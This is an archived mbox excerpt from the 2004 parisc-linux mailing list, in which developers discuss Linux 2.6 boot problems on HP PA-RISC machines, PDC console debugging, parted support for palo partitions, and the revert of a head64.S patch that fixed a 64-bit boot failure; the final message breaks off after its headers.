Afaik, 2.6 is not yet smp ready. Could you re-test it by just removing SMP
(there are already a lot of improvement in 2.6  :) )

hth,
    Joel

PS: I am happy that boot fine on the N I am testing 

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K380 partial success, the state of the port?
Date: Wed, 28 Jan 2004 10:15:11 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <20040128181511.GD959@tausq.org>
References: <Pine.LNX.4.58.0401281500300.14924@jazz.he.fi>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623158 5192 80.91.229.3 (22 Nov 2014 02:25:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Heikki Hannikainen <hessu@hes.iki.fi>
Original-X-From: randolph@tausq.org  Wed Jan 28 10:05:35 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82FA24843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 10:05:35 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 81859CD28A; Wed, 28 Jan 2004 10:15:11 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0401281500300.14924@jazz.he.fi>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 17:05:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20727

>   Is the parisc port supposed to be this slow at it's current state, or is
> this a problem which is specific to my setup?

fork/exec is very slow on parisc right now. in other areas though
performance is not too shabby. Ryan posted lmbench results to the list
recently. Check the archive for details.

> - Should I go to the 2.6 tree? I compiled it from the CVS (to get the
> tulip driver working) but the SCSI failed:

Yes, you should go to 2.6, but as Joel pointed out SMP is not yet
working correctly.

We have a few scsi gurus on the parisc list so they can address the scsi
issues :)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B2k and CONFIG_PDC_CONSOLE progress
Date: Wed, 28 Jan 2004 19:05:14 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <4015311000001F53@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623158 5194 80.91.229.3 (22 Nov 2014 02:25:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Wed Jan 28 11:05:16 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B64448A6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 11:05:16 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) id 1Alu3u-000781-00
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 19:05:14 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Wed, 28 Jan 2004 19:05:14 +0100
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 18:05:16 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20728

Hi pa,

Well, i made some small progress: i reach to figure out that PAGE0 status
changes between pdc_console_init() and pdc_io_getc():
@@ -1,4 +1,5 @@
- palx2000 kernel: pdc_console_init_force() would set a CL_DUP.
+ palx2000 kernel: mem_kbd != mem_cons.
+ palx2000 kernel: pdc_iodc_getc() would get from a CL_DUP.
  palx2000 kernel: PAGE0->mem_cons address: 100003a0.
  palx2000 kernel: PAGE0->mem_cons size: 48.
  palx2000 kernel: PAGE0->mem_boot address: 100003d0.
@@ -10,9 +11,9 @@
  palx2000 kernel: PAGE0->mem_kbd.dp.flags: 0.
  palx2000 kernel: PAGE0->mem_cons.dp.bc[0]: 255.
  palx2000 kernel: PAGE0->mem_cons.dp.bc[1]: 255.
- palx2000 kernel: PAGE0->mem_cons.dp.bc[2]: 10.
- palx2000 kernel: PAGE0->mem_cons.dp.bc[4]: 14.
- palx2000 kernel: PAGE0->mem_cons.dp.bc[5]: 1.
+ palx2000 kernel: PAGE0->mem_cons.dp.bc[2]: 255.
+ palx2000 kernel: PAGE0->mem_cons.dp.bc[3]: 10.
+ palx2000 kernel: PAGE0->mem_cons.dp.bc[4]: 1.
  palx2000 kernel: PAGE0->mem_boot.dp.bc[0]: 255.
  palx2000 kernel: PAGE0->mem_boot.dp.bc[1]: 255.
  palx2000 kernel: PAGE0->mem_boot.dp.bc[2]: 255.
@@ -21,26 +22,27 @@
  palx2000 kernel: PAGE0->mem_kbd.dp.bc[0]: 255.
  palx2000 kernel: PAGE0->mem_kbd.dp.bc[1]: 255.
  palx2000 kernel: PAGE0->mem_kbd.dp.bc[2]: 255.
- palx2000 kernel: PAGE0->mem_kbd.dp.bc[3]: 255.
- palx2000 kernel: PAGE0->mem_kbd.dp.bc[4]: 255.
- palx2000 kernel: PAGE0->mem_kbd.dp.bc[5]: 255.
- palx2000 kernel: PAGE0->mem_cons.dp.mod: 1.
+ palx2000 kernel: PAGE0->mem_kbd.dp.bc[3]: 10.
+ palx2000 kernel: PAGE0->mem_kbd.dp.bc[5]: 14.
+ palx2000 kernel: PAGE0->mem_cons.dp.mod: 0.
  palx2000 kernel: PAGE0->mem_boot.dp.mod: 0.
- palx2000 kernel: PAGE0->mem_kbd.dp.mod: 255.
- palx2000 kernel: PAGE0->mem_cons.dp.layers[0]: 00000283.
+ palx2000 kernel: PAGE0->mem_kbd.dp.mod: 2.
+ palx2000 kernel: PAGE0->mem_cons.dp.layers[0]: 00000101.
  palx2000 kernel: PAGE0->mem_boot.dp.layers[0]: 00000005.
- palx2000 kernel: PAGE0->mem_cons.hpa: fee003f8.
+ palx2000 kernel: PAGE0->mem_cons.hpa: fb000000.
  palx2000 kernel: PAGE0->mem_boot.hpa: f4002000.
- palx2000 kernel: PAGE0->mem_kbd.hpa: 00000000.
+ palx2000 kernel: PAGE0->mem_kbd.hpa: f4004000.
  palx2000 kernel: PAGE0->mem_cons.spa: 00000000.
  palx2000 kernel: PAGE0->mem_boot.spa: 00000000.
  palx2000 kernel: PAGE0->mem_kbd.spa: 00000000.
  palx2000 kernel: PAGE0->mem_cons.iodc_io: 0000e000.
  palx2000 kernel: PAGE0->mem_boot.iodc_io: 00019000.
- palx2000 kernel: PAGE0->mem_kbd.iodc_io: 00000000.
+ palx2000 kernel: PAGE0->mem_kbd.iodc_io: 00013000.
  palx2000 kernel: PAGE0->mem_cons.pad: 0.
  palx2000 kernel: PAGE0->mem_boot.pad: 0.
  palx2000 kernel: PAGE0->mem_kbd.pad: 0.
- palx2000 kernel: PAGE0->mem_cons.cl_class: 7.
+ palx2000 kernel: PAGE0->mem_cons.cl_class: 9.
  palx2000 kernel: PAGE0->mem_boot.cl_class: 1.

Is somebody have a small idea when this change could occurs?

Thanks,
   Joel

-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] fyi: parted now creates parisc boot partitions
Date: Wed, 28 Jan 2004 21:25:24 +0000
Lines: 8
Approved: news@gmane.org
Message-ID: <20040128212524.GD17946__27047.0110852786$1416623159$gmane$org@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623159 5198 80.91.229.3 (22 Nov 2014 02:25:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:59 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: rhirst@linuxcare.com  Wed Jan 28 15:03:10 2004
Return-Path: <rhirst@linuxcare.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (cpc1-hem11-4-0-cust109.lutn.cable.ntl.com
	[80.2.252.109])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3BE9D48BB
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 15:03:10 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 9971B9E718; Wed, 28 Jan 2004 21:25:24 +0000 (GMT)
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 22:03:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20729

As of parted-1.6.6-7 from your debian mirror you can now use it to set a
partition type to 'F0' for palo use.  This is done via "set N palo on",
where N is the partition number.  Thanks to Sven Luther for accepting my
patch and uploading.

Richard



From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 carlos
Date: Wed, 28 Jan 2004 18:11:06 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20040128231106.GC19840@baldric.uwo.ca>
References: <20040128060516.492DE4941AA@palinux.hppa>
	<400CB8A1000067CB@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623159 5204 80.91.229.3 (22 Nov 2014 02:25:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Wed Jan 28 16:10:45 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep01-mail.bloor.is.net.cable.rogers.com
	(fep01-mail.bloor.is.net.cable.rogers.com [66.185.86.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 708E348C6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 16:10:45 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep01-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040128230758.JXVS484300.fep01-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Wed, 28 Jan 2004 18:07:58 -0500
Content-Disposition: inline
In-Reply-To: <400CB8A1000067CB@ocpmta3.freegates.net>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep01-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Wed,
	28 Jan 2004 18:07:58 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 23:10:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20730

On Wed, Jan 28, 2004 at 03:00:48PM +0100, Joel Soete wrote:
> Hi all,
> 
> This boot fine on the b180 (32bit kernel), the b2k (32bit kernel only even
> with CONFIG_PA20 is Ok but failed with 64bit kernel?) and N4000-55 (same
> 64bit kernel  build with my own kgcc-3.3.3 :)).
> 
> Any way this last test set aside any pb with _my_ gcc compiler :).

Undo the patch, rebuild, and see if it still fails?
Could you explain more about the failure?

c.


From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] fyi: parted now creates parisc boot partitions
Date: Wed, 28 Jan 2004 18:14:59 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20040128231458.GD19840__43418.0912714966$1416623159$gmane$org@baldric.uwo.ca>
References: <20040128212524.GD17946@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623159 5210 80.91.229.3 (22 Nov 2014 02:25:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: carlos@baldric.uwo.ca  Wed Jan 28 16:14:39 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com
	(fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66B7948D6
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Jan 2004 16:14:39 -0700 (MST)
Original-Received: from systemhalted ([24.43.33.92])
	by fep04-mail.bloor.is.net.cable.rogers.com
	(InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id
	<20040128231145.JZTW483418.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
	Wed, 28 Jan 2004 18:11:45 -0500
Content-Disposition: inline
In-Reply-To: <20040128212524.GD17946@sleepie.demon.co.uk>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at
	fep04-mail.bloor.is.net.cable.rogers.com from [24.43.33.92]
	using ID <patofiero@rogers.com> at Wed,
	28 Jan 2004 18:11:45 -0500
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Jan 2004 23:14:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20731

On Wed, Jan 28, 2004 at 09:25:24PM +0000, Richard Hirst wrote:
> As of parted-1.6.6-7 from your debian mirror you can now use it to set a
> partition type to 'F0' for palo use.  This is done via "set N palo on",
> where N is the partition number.  Thanks to Sven Luther for accepting my
> patch and uploading.

Cool!

c.



From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 carlos
Date: Thu, 29 Jan 2004 08:28:45 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <400CB8A100006ED8@ocpmta3.freegates.net>
References: <20040128231106.GC19840@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623160 5213 80.91.229.3 (22 Nov 2014 02:26:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Thu Jan 29 00:29:23 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 371AA4840
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Jan 2004 00:29:23 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1Am6bW-0005JX-00; Thu, 29 Jan 2004 08:28:46 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 29 Jan 2004 08:28:45 +0100
In-Reply-To: <20040128231106.GC19840@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Jan 2004 07:29:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20732


>> Any way this last test set aside any pb with _my_ gcc compiler :).
>
>Undo the patch, rebuild, and see if it still fails?

I don't think it has any relation with any patch: since my first test of
2.6 I always reach to boot a 32bit kernel but never a 64bit kernel on this
b2k (that is why I hesitate a long time before trying this on the N because
suspecting a compiler pb)

>Could you explain more about the failure?

Well the pb is easy to easy:
the last messages the palo banner advising: "... If this is the last message
you see ..." then the kernel do very early a hpmc. I so try to get piminfo
but everything seems to point out of kernel :(. I so try to add some printk()
just at begining of init() (in init/main.c just before lock_kernel()) but
it seems to not even reach this point (but not quiet sure that it is a relevant
place for printk() ). 
So I suspect a pb in very early boot into head64.S or vmlinux.lds.S but here
I could insert printk() ?

Any idea?

Thanks for attention,
    Joel



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 carlos
Date: Thu, 29 Jan 2004 10:25:20 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <400CB8A1000070BA@ocpmta3.freegates.net>
References: <400CB8A100006ED8@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623160 5217 80.91.229.3 (22 Nov 2014 02:26:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:00 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Thu Jan 29 02:25:25 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D45348D7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Jan 2004 02:25:24 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1Am8QL-0005ME-00; Thu, 29 Jan 2004 10:25:21 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Thu, 29 Jan 2004 10:25:20 +0100
In-Reply-To: <400CB8A100006ED8@ocpmta3.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 29 Jan 2004 09:25:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20733


>>Could you explain more about the failure?
>
>Well the pb is easy to decribe:
>the last messages the palo banner advising: "... If this is the last message
>you see ..." then the kernel do very early a hpmc. I so try to get piminfo
>but everything seems to point out of kernel :(. I so try to add some printk()
>just at begining of init() (in init/main.c just before lock_kernel()) but
>it seems to not even reach this point (but not quiet sure that it is a relevant
>place for printk() ). 

seems Ok :)

>So I suspect a pb in very early boot into head64.S or vmlinux.lds.S but
here
>I could insert printk() ?

Sorry for auto-reply but my suspicious was right: I just revert this patch:
===================================================================
RCS file: /var/lib/cvs/linux-2.5/arch/parisc/kernel/head64.S,v
retrieving revision 1.1.2.1
retrieving revision 1.1.2.2
diff -u -r1.1.2.1 -r1.1.2.2
--- linux-2.5/arch/parisc/kernel/head64.S	2002/12/24 22:15:01	1.1.2.1
+++ linux-2.5/arch/parisc/kernel/head64.S	2003/01/14 13:08:03	1.1.2.2
@@ -176,7 +176,9 @@
 #endif /* CONFIG_SMP */
 
 	/* Save the rfi target address */
-	std		%r11,  TASK_PT_GR11-TASK_SZ_ALGN(%sp)
+	ldo		-THREAD_SZ_ALGN(%sp), %r1
+	ldd		TI_TASK(%r1), %r1
+	std		%r11,  TASK_PT_GR11(%r1)
 
 #ifndef CONFIG_PDC_NARROW
 	/* Switch to wide mode; Superdome doesn't support narrow PDC
@@ -206,7 +208,9 @@
 
 stext_pdc_ret:
 	/* restore rfi target address*/
-	ldd		TASK_PT_GR11-TASK_SZ_ALGN(%sp), %r11
+	ldo		-THREAD_SZ_ALGN(%sp), %r1
+	ldd		TI_TASK(%r1), %r1
+	ldd		TASK_PT_GR11(%r1), %r11
 
 	/* PARANOID: clear user scratch/user space SR's */
 	mtsp	%r0,%sr0
@@ -310,7 +314,7 @@
 	load32		PA(smp_init_current_idle_task),%sp
 	ldd		0(%sp),%sp	/* load task address */
 	mtctl           %sp,%cr30       /* store in cr30 */
-	ldo             TASK_SZ_ALGN(%sp),%sp
+	ldo             THREAD_SZ_ALGN(%sp),%sp
 	tophys_r1       %sp
 
 	/* point CPU to kernel page tables */
=========><=========

and now it boots well but I am very not able to fix it correctly :(.

hth.

Thanks again,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Heikki Hannikainen <hessu@hes.iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] K380 partial success, the state of the port?
Date: Thu, 29 Jan 2004 12:03:28 +0200 (EET)
Lines: 72
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0401291151310.23965@jazz.he.fi>
References: <Pine.LNX.4.58.0401281500300.14924@jazz.he.fi>
	<20040128181511.GD959@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623160 5220 80.91.229.3 (22 Nov 2014 02:26:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:00 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: hessu@hes.iki.fi  Thu Jan 29 03:03:38 2004
Return-Path: <hessu@hes.iki.fi>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from he.fi (he.fi [213.28.116.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id EAD704856
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 29 Jan 2004 03:03:37 -0700 (MST)
Original-Received: from localhost ([IPv6:::ffff:127.0.0.1]:38546 "EHLO localhost"
	TLS-CIPHER: "EDH-RSA-DES-CBC3-SHA keybits 168/168 version TLSv1/SSLv3"
	TLS-PEER: <none>) by hes.iki.fi with ESMTP id <S189264AbUA2KD3>;
	Thu, 29 Jan 2004 12:03:29 +0200
In-Reply-To: <20040128181511.GD959@tausq.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
